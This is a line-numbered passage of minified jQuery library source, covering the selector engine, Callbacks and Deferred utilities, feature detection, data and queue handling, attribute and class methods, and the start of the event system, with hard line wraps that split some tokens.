  444. (u=c[r])&&u[0]===p){if((l=u[1])===!0||l===i)return l===!0}else if(u=c[r]=[p],u[1]=e(t,n,s)||i,u[1]===!0)return!
  445.  
  446. 0}}function bt(e){return e.length>1?function(t,n,r){var i=e.length;while(i--)if(!e[i](t,n,r))return!1;return!0}:e
  447.  
  448. [0]}function xt(e,t,n,r,i){var o,a=[],s=0,l=e.length,u=null!=t;for(;l>s;s++)(o=e[s])&&(!n||n(o,r,i))&&(a.push
  449.  
  450. (o),u&&t.push(s));return a}function wt(e,t,n,r,i,o){return r&&!r[b]&&(r=wt(r)),i&&!i[b]&&(i=wt(i,o)),lt
  451.  
  452. (function(o,a,s,l){var u,c,p,f=[],d=[],h=a.length,g=o||Nt(t||"*",s.nodeType?[s]:s,[]),m=!e||!o&&t?g:xt
  453.  
  454. (g,f,e,s,l),y=n?i||(o?e:h||r)?[]:a:m;if(n&&n(m,y,s,l),r){u=xt(y,d),r(u,[],s,l),c=u.length;while(c--)(p=u[c])&&(y[d
  455.  
  456. [c]]=!(m[d[c]]=p))}if(o){if(i||e){if(i){u=[],c=y.length;while(c--)(p=y[c])&&u.push(m[c]=p);i(null,y=[],u,l)}
  457.  
  458. c=y.length;while(c--)(p=y[c])&&(u=i?F.call(o,p):f[c])>-1&&(o[u]=!(a[u]=p))}}else y=xt(y===a?y.splice
  459.  
  460. (h,y.length):y),i?i(null,a,y,l):M.apply(a,y)})}function Tt(e){var t,n,r,i=e.length,a=o.relative[e[0].type],s=a||
  461.  
  462. o.relative[" "],l=a?1:0,c=vt(function(e){return e===t},s,!0),p=vt(function(e){return F.call(t,e)>-1},s,!0),f=
  463.  
  464. [function(e,n,r){return!a&&(r||n!==u)||((t=n).nodeType?c(e,n,r):p(e,n,r))}];for(;i>l;l++)if(n=o.relative[e
  465.  
  466. [l].type])f=[vt(bt(f),n)];else{if(n=o.filter[e[l].type].apply(null,e[l].matches),n[b]){for(r=++l;i>r;r++)if(o.relative
  467.  
  468. [e[r].type])break;return wt(l>1&&bt(f),l>1&&yt(e.slice(0,l-1).concat({value:" "===e[l-2].type?"*":""})).replace
  469.  
  470. (z,"$1"),n,r>l&&Tt(e.slice(l,r)),i>r&&Tt(e=e.slice(r)),i>r&&yt(e))}f.push(n)}return bt(f)}function Ct(e,t){var
  471.  
  472. n=0,r=t.length>0,a=e.length>0,s=function(s,l,c,p,d){var h,g,m,y=[],v=0,b="0",x=s&&[],w=null!=d,C=u,N=s||
  473.  
  474. a&&o.find.TAG("*",d&&l.parentNode||l),k=T+=null==C?1:Math.random()||.1;for(w&&(u=l!==f&&l,i=n);null!=
  475.  
  476. (h=N[b]);b++){if(a&&h){g=0;while(m=e[g++])if(m(h,l,c)){p.push(h);break}w&&(T=k,i=++n)}r&&((h=!m&&h)
  477.  
  478. &&v--,s&&x.push(h))}if(v+=b,r&&b!==v){g=0;while(m=t[g++])m(x,y,l,c);if(s){if(v>0)while(b--)x[b]||y[b]||(y[b]
  479.  
  480. =q.call(p));y=xt(y)}M.apply(p,y),w&&!s&&y.length>0&&v+t.length>1&&at.uniqueSort(p)}return w&&
  481.  
  482. (T=k,u=C),x};return r?lt(s):s}l=at.compile=function(e,t){var n,r=[],i=[],o=E[e+" "];if(!o){t||(t=mt
  483.  
  484. (e)),n=t.length;while(n--)o=Tt(t[n]),o[b]?r.push(o):i.push(o);o=E(e,Ct(i,r))}return o};function Nt(e,t,n){var
  485.  
  486. r=0,i=t.length;for(;i>r;r++)at(e,t[r],n);return n}function kt(e,t,n,i){var a,s,u,c,p,f=mt(e);if(!i&&1===f.length){if
  487.  
  488. (s=f[0]=f[0].slice(0),s.length>2&&"ID"===(u=s[0]).type&&r.getById&&9===t.nodeType&&h&&o.relative[s
  489.  
  490. [1].type]){if(t=(o.find.ID(u.matches[0].replace(rt,it),t)||[])[0],!t)return n;e=e.slice(s.shift().value.length)}
  491.  
  492. a=Q.needsContext.test(e)?0:s.length;while(a--){if(u=s[a],o.relative[c=u.type])break;if((p=o.find[c])&&(i=p
  493.  
  494. (u.matches[0].replace(rt,it),V.test(s[0].type)&&t.parentNode||t))){if(s.splice(a,1),e=i.length&&yt(s),!e)return
  495.  
  496. M.apply(n,i),n;break}}}return l(e,f)(i,t,!h,n,V.test(e)),n}r.sortStable=b.split("").sort(A).join("")
  497.  
  498. ===b,r.detectDuplicates=S,p(),r.sortDetached=ut(function(e){return 1&e.compareDocumentPosition
  499.  
  500. (f.createElement("div"))}),ut(function(e){return e.innerHTML="<a
  501.  
  502. href='#'></a>","#"===e.firstChild.getAttribute("href")})||ct("type|href|height|width",function(e,n,r){return r?
  503.  
  504. t:e.getAttribute(n,"type"===n.toLowerCase()?1:2)}),r.attributes&&ut(function(e){return
  505.  
  506. e.innerHTML="<input/>",e.firstChild.setAttribute("value",""),""===e.firstChild.getAttribute("value")})||ct
  507.  
  508. ("value",function(e,n,r){return r||"input"!==e.nodeName.toLowerCase()?t:e.defaultValue}),ut(function(e)
  509.  
  510. {return null==e.getAttribute("disabled")})||ct(B,function(e,n,r){var i;return r?t:(i=e.getAttributeNode(n))
  511.  
  512. &&i.specified?i.value:e[n]===!0?n.toLowerCase():null}),x.find=at,x.expr=at.selectors,x.expr[":"]
  513.  
  514. =x.expr.pseudos,x.unique=at.uniqueSort,x.text=at.getText,x.isXMLDoc=at.isXML,x.contains=at.contains}(e);var
  515.  
  516. O={};function F(e){var t=O[e]={};return x.each(e.match(T)||[],function(e,n){t[n]=!0}),t}x.Callbacks=function(e)
  517.  
  518. {e="string"==typeof e?O[e]||F(e):x.extend({},e);var n,r,i,o,a,s,l=[],u=!e.once&&[],c=function(t){for
  519.  
  520. (r=e.memory&&t,i=!0,a=s||0,s=0,o=l.length,n=!0;l&&o>a;a++)if(l[a].apply(t[0],t[1])===!1&&e.stopOnFalse){r=!
  521.  
  522. 1;break}n=!1,l&&(u?u.length&&c(u.shift()):r?l=[]:p.disable())},p={add:function(){if(l){var t=l.length;(function i
  523.  
  524. (t){x.each(t,function(t,n){var r=x.type(n);"function"===r?e.unique&&p.has(n)||l.push
  525.  
  526. (n):n&&n.length&&"string"!==r&&i(n)})})(arguments),n?o=l.length:r&&(s=t,c(r))}return this},remove:function
  527.  
  528. (){return l&&x.each(arguments,function(e,t){var r;while((r=x.inArray(t,l,r))>-1)l.splice(r,1),n&&
  529.  
  530. (o>=r&&o--,a>=r&&a--)}),this},has:function(e){return e?x.inArray(e,l)>-1:!(!l||!l.length)},empty:function()
  531.  
  532. {return l=[],o=0,this},disable:function(){return l=u=r=t,this},disabled:function(){return!l},lock:function(){return
  533.  
  534. u=t,r||p.disable(),this},locked:function(){return!u},fireWith:function(e,t){return!l||i&&!u||(t=t||[],t=
  535.  
  536. [e,t.slice?t.slice():t],n?u.push(t):c(t)),this},fire:function(){return p.fireWith(this,arguments),this},fired:function
  537.  
  538. (){return!!i}};return p},x.extend({Deferred:function(e){var t=[["resolve","done",x.Callbacks("once
  539.  
  540. memory"),"resolved"],["reject","fail",x.Callbacks("once memory"),"rejected"],["notify","progress",x.Callbacks
  541.  
  542. ("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail
  543.  
  544. (arguments),this},then:function(){var e=arguments;return x.Deferred(function(n){x.each(t,function(t,o){var
  545.  
  546. a=o[0],s=x.isFunction(e[t])&&e[t];i[o[1]](function(){var e=s&&s.apply(this,arguments);e&&x.isFunction
  547.  
  548. (e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[a+"With"](this===r?n.promise
  549.  
  550. ():this,s?[e]:arguments)})}),e=null}).promise()},promise:function(e){return null!=e?x.extend(e,r):r}},i={};return
  551.  
  552. r.pipe=r.then,x.each(t,function(e,o){var a=o[2],s=o[3];r[o[1]]=a.add,s&&a.add(function(){n=s},t[1^e]
  553.  
  554. [2].disable,t[2][2].lock),i[o[0]]=function(){return i[o[0]+"With"](this===i?r:this,arguments),this},i[o[0]+"With"]
  555.  
  556. =a.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=g.call(arguments),r=n.length,i=1!==r||
  557.  
  558. e&&x.isFunction(e.promise)?r:0,o=1===i?e:x.Deferred(),a=function(e,t,n){return function(r){t[e]=this,n[e]
  559.  
  560. =arguments.length>1?g.call(arguments):r,n===s?o.notifyWith(t,n):--i||o.resolveWith(t,n)}},s,l,u;if(r>1)for
  561.  
  562. (s=Array(r),l=Array(r),u=Array(r);r>t;t++)n[t]&&x.isFunction(n[t].promise)?n[t].promise().done(a(t,u,n)).fail
  563.  
  564. (o.reject).progress(a(t,l,s)):--i;return i||o.resolveWith(u,n),o.promise()}}),x.support=function(t){var
  565.  
  566. n,r,o,s,l,u,c,p,f,d=a.createElement("div");if(d.setAttribute("className","t"),d.innerHTML="
  567.  
  568. <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",n=d.getElementsByTagName("*")||
  569.  
  570. [],r=d.getElementsByTagName("a")[0],!r||!r.style||!n.length)return t;s=a.createElement
  571.  
  572. ("select"),u=s.appendChild(a.createElement("option")),o=d.getElementsByTagName("input")
  573.  
  574. [0],r.style.cssText="top:1px;float:left;opacity:.5",t.getSetAttribute="t"!
  575.  
  576. ==d.className,t.leadingWhitespace=3===d.firstChild.nodeType,t.tbody=!d.getElementsByTagName
  577.  
  578. ("tbody").length,t.htmlSerialize=!!d.getElementsByTagName("link").length,t.style=/top/.test(r.getAttribute
  579.  
  580. ("style")),t.hrefNormalized="/a"===r.getAttribute("href"),t.opacity=/^0.5/.test(r.style.opacity),t.cssFloat=!!
  581.  
  582. r.style.cssFloat,t.checkOn=!!o.value,t.optSelected=u.selected,t.enctype=!!a.createElement
  583.  
  584. ("form").enctype,t.html5Clone="<:nav></:nav>"!==a.createElement("nav").cloneNode(!
  585.  
  586. 0).outerHTML,t.inlineBlockNeedsLayout=!1,t.shrinkWrapBlocks=!1,t.pixelPosition=!1,t.deleteExpando=!
  587.  
  588. 0,t.noCloneEvent=!0,t.reliableMarginRight=!0,t.boxSizingReliable=!0,o.checked=!
  589.  
  590. 0,t.noCloneChecked=o.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!u.disabled;try{delete d.test}catch
  591.  
  592. (h){t.deleteExpando=!1}o=a.createElement("input"),o.setAttribute("value",""),t.input=""===o.getAttribute
  593.  
  594. ("value"),o.value="t",o.setAttribute("type","radio"),t.radioValue="t"===o.value,o.setAttribute
  595.  
  596. ("checked","t"),o.setAttribute("name","t"),l=a.createDocumentFragment(),l.appendChild
  597.  
  598. (o),t.appendChecked=o.checked,t.checkClone=l.cloneNode(!0).cloneNode(!
  599.  
  600. 0).lastChild.checked,d.attachEvent&&(d.attachEvent("onclick",function(){t.noCloneEvent=!1}),d.cloneNode(!
  601.  
  602. 0).click());for(f in{submit:!0,change:!0,focusin:!0})d.setAttribute(c="on"+f,"t"),t[f+"Bubbles"]=c in e||
  603.  
  604. d.attributes[c].expando===!1;d.style.backgroundClip="content-box",d.cloneNode(!
  605.  
  606. 0).style.backgroundClip="",t.clearCloneStyle="content-box"===d.style.backgroundClip;for(f in x(t))break;return
  607.  
  608. t.ownLast="0"!==f,x(function(){var n,r,o,s="padding:0;margin:0;border:0;display:block;box-sizing:content-
  609.  
  610. box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;",l=a.getElementsByTagName("body")
  611.  
  612. [0];l&&(n=a.createElement("div"),n.style.cssText="border:0;width:0;height:0;position:absolute;top:0;left:-
  613.  
  614. 9999px;margin-top:1px",l.appendChild(n).appendChild
  615.  
  616. (d),d.innerHTML="<table><tr><td></td><td>t</td></tr></table>",o=d.getElementsByTagName("td"),o
  617.  
  618. [0].style.cssText="padding:0;margin:0;border:0;display:none",p=0===o[0].offsetHeight,o[0].style.display="",o
  619.  
  620. [1].style.display="none",t.reliableHiddenOffsets=p&&0===o
  621.  
  622. [0].offsetHeight,d.innerHTML="",d.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-
  623.  
  624. box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-
  625.  
  626. top:1%;position:absolute;top:1%;",x.swap(l,null!=l.style.zoom?{zoom:1}:{},function()
  627.  
  628. {t.boxSizing=4===d.offsetWidth}),e.getComputedStyle&&(t.pixelPosition="1%"!==(e.getComputedStyle
  629.  
  630. (d,null)||{}).top,t.boxSizingReliable="4px"===(e.getComputedStyle(d,null)||
  631.  
  632. {width:"4px"}).width,r=d.appendChild(a.createElement
  633.  
  634. ("div")),r.style.cssText=d.style.cssText=s,r.style.marginRight=r.style.width="0",d.style.width="1px",t.reliableMar
  635.  
  636. ginRight=!parseFloat((e.getComputedStyle(r,null)||{}).marginRight)),typeof d.style.zoom!==i&&
  637.  
  638. (d.innerHTML="",d.style.cssText=s
  639.  
  640. +"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=3===d.offsetWidth,d.style.display="
  641.  
  642. block",d.innerHTML="<div></div>",d.firstChild.style.width="5px",t.shrinkWrapBlocks=3!
  643.  
  644. ==d.offsetWidth,t.inlineBlockNeedsLayout&&(l.style.zoom=1)),l.removeChild
  645.  
  646. (n),n=d=o=r=null)}),n=s=l=u=r=o=null,t
  647. }({});var B=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;function R(e,n,r,i){if(x.acceptData(e)){var
  648.  
  649. o,a,s=x.expando,l=e.nodeType,u=l?x.cache:e,c=l?e[s]:e[s]&&s;if(c&&u[c]&&(i||u[c].data)||r!==t||"string"!
  650.  
  651. =typeof n)return c||(c=l?e[s]=p.pop()||x.guid++:s),u[c]||(u[c]=l?{}:{toJSON:x.noop}),("object"==typeof
  652.  
  653. n||"function"==typeof n)&&(i?u[c]=x.extend(u[c],n):u[c].data=x.extend(u[c].data,n)),a=u[c],i||(a.data||
  654.  
  655. (a.data={}),a=a.data),r!==t&&(a[x.camelCase(n)]=r),"string"==typeof n?(o=a[n],null==o&&(o=a[x.camelCase
  656.  
  657. (n)])):o=a,o}}function W(e,t,n){if(x.acceptData(e)){var r,i,o=e.nodeType,a=o?x.cache:e,s=o?e
  658.  
  659. [x.expando]:x.expando;if(a[s]){if(t&&(r=n?a[s]:a[s].data)){x.isArray(t)?t=t.concat(x.map(t,x.camelCase)):t in r?
  660.  
  661. t=[t]:(t=x.camelCase(t),t=t in r?[t]:t.split(" ")),i=t.length;while(i--)delete r[t[i]];if(n?!I(r):!x.isEmptyObject(r))
  662.  
  663. return}(n||(delete a[s].data,I(a[s])))&&(o?x.cleanData([e],!0):x.support.deleteExpando||a!=a.window?delete
  664.  
  665. a[s]:a[s]=null)}}}x.extend({cache:{},noData:{applet:!0,embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-
  666.  
  667. 444553540000"},hasData:function(e){return e=e.nodeType?x.cache[e[x.expando]]:e[x.expando],!!e&&!I
  668.  
  669. (e)},data:function(e,t,n){return R(e,t,n)},removeData:function(e,t){return W(e,t)},_data:function(e,t,n){return
  670.  
  671. R(e,t,n,!0)},_removeData:function(e,t){return W(e,t,!0)},acceptData:function(e){if(e.nodeType&&1!
  672.  
  673. ==e.nodeType&&9!==e.nodeType)return!1;var t=e.nodeName&&x.noData[e.nodeName.toLowerCase
  674.  
  675. ()];return!t||t!==!0&&e.getAttribute("classid")===t}}),x.fn.extend({data:function(e,n){var r,i,o=null,a=0,s=this
  676.  
  677. [0];if(e===t){if(this.length&&(o=x.data(s),1===s.nodeType&&!x._data(s,"parsedAttrs"))){for
  678.  
  679. (r=s.attributes;r.length>a;a++)i=r[a].name,0===i.indexOf("data-")&&(i=x.camelCase(i.slice(5)),$(s,i,o
  680.  
  681. [i]));x._data(s,"parsedAttrs",!0)}return o}return"object"==typeof e?this.each(function(){x.data
  682.  
  683. (this,e)}):arguments.length>1?this.each(function(){x.data(this,e,n)}):s?$(s,e,x.data
  684.  
  685. (s,e)):null},removeData:function(e){return this.each(function(){x.removeData(this,e)})}});function $(e,n,r){if
  686.  
  687. (r===t&&1===e.nodeType){var i="data-"+n.replace(P,"-$1").toLowerCase();if(r=e.getAttribute
  688.  
  689. (i),"string"==typeof r){try{r="true"===r?!0:"false"===r?!1:"null"===r?null:+r+""===r?+r:B.test(r)?x.parseJSON
  690.  
  691. (r):r}catch(o){}x.data(e,n,r)}else r=t}return r}function I(e){var t;for(t in e)if(("data"!==t||!x.isEmptyObject(e
  692.  
  693. [t]))&&"toJSON"!==t)return!1;return!0}x.extend({queue:function(e,n,r){var i;return e?(n=
  694.  
  695. (n||"fx")+"queue",i=x._data(e,n),r&&(!i||x.isArray(r)?i=x._data(e,n,x.makeArray(r)):i.push(r)),i||
  696.  
  697. []):t},dequeue:function(e,t){t=t||"fx";var n=x.queue(e,t),r=n.length,i=n.shift(),o=x._queueHooks
  698.  
  699. (e,t),a=function(){x.dequeue(e,t)};"inprogress"===i&&(i=n.shift(),r--),i&&("fx"===t&&n.unshift
  700.  
  701. ("inprogress"),delete o.stop,i.call(e,a,o)),!r&&o&&o.empty.fire()},_queueHooks:function(e,t){var n=t
  702.  
  703. +"queueHooks";return x._data(e,n)||x._data(e,n,{empty:x.Callbacks("once memory").add(function()
  704.  
  705. {x._removeData(e,t+"queue"),x._removeData(e,n)})})}}),x.fn.extend({queue:function(e,n){var
  706.  
  707. r=2;return"string"!=typeof e&&(n=e,e="fx",r--),r>arguments.length?x.queue(this[0],e):n===t?this:this.each
  708.  
  709. (function(){var t=x.queue(this,e,n);x._queueHooks(this,e),"fx"===e&&"inprogress"!==t[0]&&x.dequeue
  710.  
  711. (this,e)})},dequeue:function(e){return this.each(function(){x.dequeue(this,e)})},delay:function(e,t){return
  712.  
  713. e=x.fx?x.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function()
  714.  
  715. {clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var
  716.  
  717. r,i=1,o=x.Deferred(),a=this,s=this.length,l=function(){--i||o.resolveWith(a,[a])};"string"!=typeof e&&
  718.  
  719. (n=e,e=t),e=e||"fx";while(s--)r=x._data(a[s],e+"queueHooks"),r&&r.empty&&(i++,r.empty.add(l));return l
  720.  
  721. (),o.promise(n)}});var z,X,U=/[\t\r\n\f]/g,V=/\r/g,Y=/^(?:input|select|textarea|button|object)$/i,J=/^(?:a|
  722.  
  723. area)$/i,G=/^(?:checked|selected)$/i,Q=x.support.getSetAttribute,K=x.support.input;x.fn.extend
  724.  
  725. ({attr:function(e,t){return x.access(this,x.attr,e,t,arguments.length>1)},removeAttr:function(e){return
  726.  
  727. this.each(function(){x.removeAttr(this,e)})},prop:function(e,t){return x.access
  728.  
  729. (this,x.prop,e,t,arguments.length>1)},removeProp:function(e){return e=x.propFix[e]||e,this.each(function()
  730.  
  731. {try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,o,a=0,s=this.length,l="string"==typeof
  732.  
  733. e&&e;if(x.isFunction(e))return this.each(function(t){x(this).addClass(e.call(this,t,this.className))});if(l)for(t=
  734.  
  735. (e||"").match(T)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+" ").replace(U,"
  736.  
  737. "):" ")){o=0;while(i=t[o++])0>r.indexOf(" "+i+" ")&&(r+=i+" ");n.className=x.trim(r)}return
  738.  
  739. this},removeClass:function(e){var t,n,r,i,o,a=0,s=this.length,l=0===arguments.length||"string"==typeof
  740.  
  741. e&&e;if(x.isFunction(e))return this.each(function(t){x(this).removeClass(e.call(this,t,this.className))});if(l)
  742.  
  743. for(t=(e||"").match(T)||[];s>a;a++)if(n=this[a],r=1===n.nodeType&&(n.className?(" "+n.className+"
  744.  
  745. ").replace(U," "):"")){o=0;while(i=t[o++])while(r.indexOf(" "+i+" ")>=0)r=r.replace(" "+i+" "," ");n.className=e?
  746.  
  747. x.trim(r):""}return this},toggleClass:function(e,t){var n=typeof e;return"boolean"==typeof t&&"string"===n?t?
  748.  
  749. this.addClass(e):this.removeClass(e):x.isFunction(e)?this.each(function(n){x(this).toggleClass(e.call
  750.  
  751. (this,n,this.className,t),t)}):this.each(function(){if("string"===n){var t,r=0,o=x(this),a=e.match(T)||[];while
  752.  
  753. (t=a[r++])o.hasClass(t)?o.removeClass(t):o.addClass(t)}else(n===i||"boolean"===n)&&
  754.  
  755. (this.className&&x._data(this,"__className__",this.className),this.className=this.className||e===!
  756.  
  757. 1?"":x._data(this,"__className__")||"")})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;r>n;n++)if
  758.  
  759. (1===this[n].nodeType&&(" "+this[n].className+" ").replace(U," ").indexOf(t)>=0)return!0;return!
  760.  
  761. 1},val:function(e){var n,r,i,o=this[0];{if(arguments.length)return i=x.isFunction(e),this.each(function(n){var
  762.  
  763. o;1===this.nodeType&&(o=i?e.call(this,n,x(this).val()):e,null==o?o="":"number"==typeof o?o+="":x.isArray(o)
  764.  
  765. &&(o=x.map(o,function(e){return null==e?"":e+""})),r=x.valHooks[this.type]||x.valHooks
  766.  
  767. [this.nodeName.toLowerCase()],r&&"set"in r&&r.set(this,o,"value")!==t||(this.value=o))});if(o)return
  768.  
  769. r=x.valHooks[o.type]||x.valHooks[o.nodeName.toLowerCase()],r&&"get"in r&&(n=r.get(o,"value"))!==t?n:
  770.  
  771. (n=o.value,"string"==typeof n?n.replace(V,""):null==n?"":n)}}}),x.extend({valHooks:{option:{get:function(e){var
  772.  
  773. t=x.find.attr(e,"value");return null!=t?t:e.text}},select:{get:function(e){var
  774.  
  775. t,n,r=e.options,i=e.selectedIndex,o="select-one"===e.type||0>i,a=o?null:[],s=o?i+1:r.length,l=0>i?s:o?i:0;for
  776.  
  777. (;s>l;l++)if(n=r[l],!(!n.selected&&l!==i||(x.support.optDisabled?n.disabled:null!==n.getAttribute
  778.  
  779. ("disabled"))||n.parentNode.disabled&&x.nodeName(n.parentNode,"optgroup"))){if(t=x(n).val(),o)return
  780.  
  781. t;a.push(t)}return a},set:function(e,t){var n,r,i=e.options,o=x.makeArray(t),a=i.length;while(a--)r=i[a],
  782.  
  783. (r.selected=x.inArray(x(r).val(),o)>=0)&&(n=!0);return n||(e.selectedIndex=-1),o}}},attr:function(e,n,r){var
  784.  
  785. o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!==s)return typeof e.getAttribute===i?x.prop(e,n,r):
  786.  
  787. (1===s&&x.isXMLDoc(e)||(n=n.toLowerCase(),o=x.attrHooks[n]||(x.expr.match.bool.test(n)?X:z)),r===t?
  788.  
  789. o&&"get"in o&&null!==(a=o.get(e,n))?a:(a=x.find.attr(e,n),null==a?t:a):null!==r?o&&"set"in o&&(a=o.set
  790.  
  791. (e,r,n))!==t?a:(e.setAttribute(n,r+""),r):(x.removeAttr(e,n),t))},removeAttr:function(e,t){var
  792.  
  793. n,r,i=0,o=t&&t.match(T);if(o&&1===e.nodeType)while(n=o[i++])r=x.propFix[n]||n,x.expr.match.bool.test(n)?
  794.  
  795. K&&Q||!G.test(n)?e[r]=!1:e[x.camelCase("default-"+n)]=e[r]=!1:x.attr(e,n,""),e.removeAttribute(Q?
  796.  
  797. n:r)},attrHooks:{type:{set:function(e,t){if(!x.support.radioValue&&"radio"===t&&x.nodeName(e,"input")){var
  798.  
  799. n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}}},propFix:
  800.  
  801. {"for":"htmlFor","class":"className"},prop:function(e,n,r){var i,o,a,s=e.nodeType;if(e&&3!==s&&8!==s&&2!
  802.  
  803. ==s)return a=1!==s||!x.isXMLDoc(e),a&&(n=x.propFix[n]||n,o=x.propHooks[n]),r!==t?o&&"set"in o&&(i=o.set
  804.  
  805. (e,r,n))!==t?i:e[n]=r:o&&"get"in o&&null!==(i=o.get(e,n))?i:e[n]},propHooks:{tabIndex:{get:function(e){var
  806.  
  807. t=x.find.attr(e,"tabindex");return t?parseInt(t,10):Y.test(e.nodeName)||J.test(e.nodeName)&&e.href?0:-
  808.  
  809. 1}}}}),X={set:function(e,t,n){return t===!1?x.removeAttr(e,n):K&&Q||!G.test(n)?e.setAttribute(!Q&&x.propFix
  810.  
  811. [n]||n,n):e[x.camelCase("default-"+n)]=e[n]=!0,n}},x.each(x.expr.match.bool.source.match(/\w+/g),function
  812.  
  813. (e,n){var r=x.expr.attrHandle[n]||x.find.attr;x.expr.attrHandle[n]=K&&Q||!G.test(n)?function(e,n,i){var
  814.  
  815. o=x.expr.attrHandle[n],a=i?t:(x.expr.attrHandle[n]=t)!=r(e,n,i)?n.toLowerCase():null;return x.expr.attrHandle
  816.  
  817. [n]=o,a}:function(e,n,r){return r?t:e[x.camelCase("default-"+n)]?n.toLowerCase():null}}),K&&Q||
  818.  
  819. (x.attrHooks.value={set:function(e,n,r){return x.nodeName(e,"input")?(e.defaultValue=n,t):z&&z.set
  820.  
  821. (e,n,r)}}),Q||(z={set:function(e,n,r){var i=e.getAttributeNode(r);return i||e.setAttributeNode
  822.  
  823. (i=e.ownerDocument.createAttribute(r)),i.value=n+="","value"===r||n===e.getAttribute(r)?
  824.  
  825. n:t}},x.expr.attrHandle.id=x.expr.attrHandle.name=x.expr.attrHandle.coords=function(e,n,r){var i;return r?t:
  826.  
  827. (i=e.getAttributeNode(n))&&""!==i.value?i.value:null},x.valHooks.button={get:function(e,n){var
  828.  
  829. r=e.getAttributeNode(n);return r&&r.specified?r.value:t},set:z.set},x.attrHooks.contenteditable={set:function
  830.  
  831. (e,t,n){z.set(e,""===t?!1:t,n)}},x.each(["width","height"],function(e,n){x.attrHooks[n]={set:function(e,r)
  832.  
  833. {return""===r?(e.setAttribute(n,"auto"),r):t}}})),x.support.hrefNormalized||x.each(["href","src"],function(e,t)
  834.  
  835. {x.propHooks[t]={get:function(e){return e.getAttribute(t,4)}}}),x.support.style||(x.attrHooks.style=
  836.  
  837. {get:function(e){return e.style.cssText||t},set:function(e,t){return e.style.cssText=t
  838.  
  839. +""}}),x.support.optSelected||(x.propHooks.selected={get:function(e){var t=e.parentNode;return t&&
  840.  
  841. (t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}}),x.each
  842.  
  843. (["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBord
  844.  
  845. er","contentEditable"],function(){x.propFix[this.toLowerCase()]=this}),x.support.enctype||
  846.  
  847. (x.propFix.enctype="encoding"),x.each(["radio","checkbox"],function(){x.valHooks[this]={set:function(e,n)
  848.  
  849. {return x.isArray(n)?e.checked=x.inArray(x(e).val(),n)>=0:t}},x.support.checkOn||(x.valHooks
  850.  
  851. [this].get=function(e){return null===e.getAttribute("value")?"on":e.value})});var Z=/^(?:input|select|
  852.  
  853. textarea)$/i,et=/^key/,tt=/^(?:mouse|contextmenu)|click/,nt=/^(?:focusinfocus|focusoutblur)$/,rt=/^([^.]*)
  854.  
  855. (?:\.(.+)|)$/;function it(){return!0}function ot(){return!1}function at(){try{return a.activeElement}catch(e){}}
  856.  
  857. x.event={global:{},add:function(e,n,r,o,a){var s,l,u,c,p,f,d,h,g,m,y,v=x._data(e);if(v){r.handler&&
  858.  
  859. (c=r,r=c.handler,a=c.selector),r.guid||(r.guid=x.guid++),(l=v.events)||(l=v.events={}),(f=v.handle)||
  860.  
  861. (f=v.handle=function(e){return typeof x===i||e&&x.event.triggered===e.type?t:x.event.dispatch.apply
  862.  
  863. (f.elem,arguments)},f.elem=e),n=(n||"").match(T)||[""],u=n.length;while(u--)s=rt.exec(n[u])||[],g=y=s[1],m=
  864.  
  865. (s[2]||"").split(".").sort(),g&&(p=x.event.special[g]||{},g=(a?p.delegateType:p.bindType)||
  866.  
  867. g,p=x.event.special[g]||{},d=x.extend
  868.  
  869. ({type:g,origType:y,data:o,handler:r,guid:r.guid,selector:a,needsContext:a&&x.expr.match.needsContext.test
  870.  
  871. (a),namespace:m.join(".")},c),(h=l[g])||(h=l[g]=[],h.delegateCount=0,p.setup&&p.setup.call(e,o,m,f)!==!1||
  872.  
  873. (e.addEventListener?e.addEventListener(g,f,!1):e.attachEvent&&e.attachEvent("on"+g,f))),p.add&&(p.add.call
  874.  
  875. (e,d),d.handler.guid||(d.handler.guid=r.guid)),a?h.splice(h.delegateCount++,0,d):h.push(d),x.event.global[g]
  876.  
  877. =!0);e=null}},remove:function(e,t,n,r,i){var o,a,s,l,u,c,p,f,d,h,g,m=x.hasData(e)&&x._data(e);if(m&&
  878.  
  879. (c=m.events)){t=(t||"").match(T)||[""],u=t.length;while(u--)if(s=rt.exec(t[u])||[],d=g=s[1],h=(s[2]||"").split
  880.  
  881. (".").sort(),d){p=x.event.special[d]||{},d=(r?p.delegateType:p.bindType)||d,f=c[d]||[],s=s[2]&&RegExp("(^|\
  882.  
  883. \.)"+h.join("\\.(?:.*\\.|)")+"(\\.|$)"),l=o=f.length;while(o--)a=f[o],!i&&g!==a.origType||n&&n.guid!==a.guid||
  884.  
  885. s&&!s.test(a.namespace)||r&&r!==a.selector&&("**"!==r||!a.selector)||(f.splice
  886.  
  887. (o,1),a.selector&&f.delegateCount--,p.remove&&p.remove.call(e,a));l&&!f.length&&
  888.  
  889. (p.teardown&&p.teardown.call(e,h,m.handle)!==!1||x.removeEvent(e,d,m.handle),delete c[d])}else for(d in
  890.  
  891. c)x.event.remove(e,d+t[u],n,r,!0);x.isEmptyObject(c)&&(delete m.handle,x._removeData
  892.  
  893. (e,"events"))}},trigger:function(n,r,i,o){var s,l,u,c,p,f,d,h=[i||a],g=v.call(n,"type")?n.type:n,m=v.call
  894.  
  895. (n,"namespace")?n.namespace.split("."):[];if(u=f=i=i||a,3!==i.nodeType&&8!==i.nodeType&&!nt.test(g
  896.  
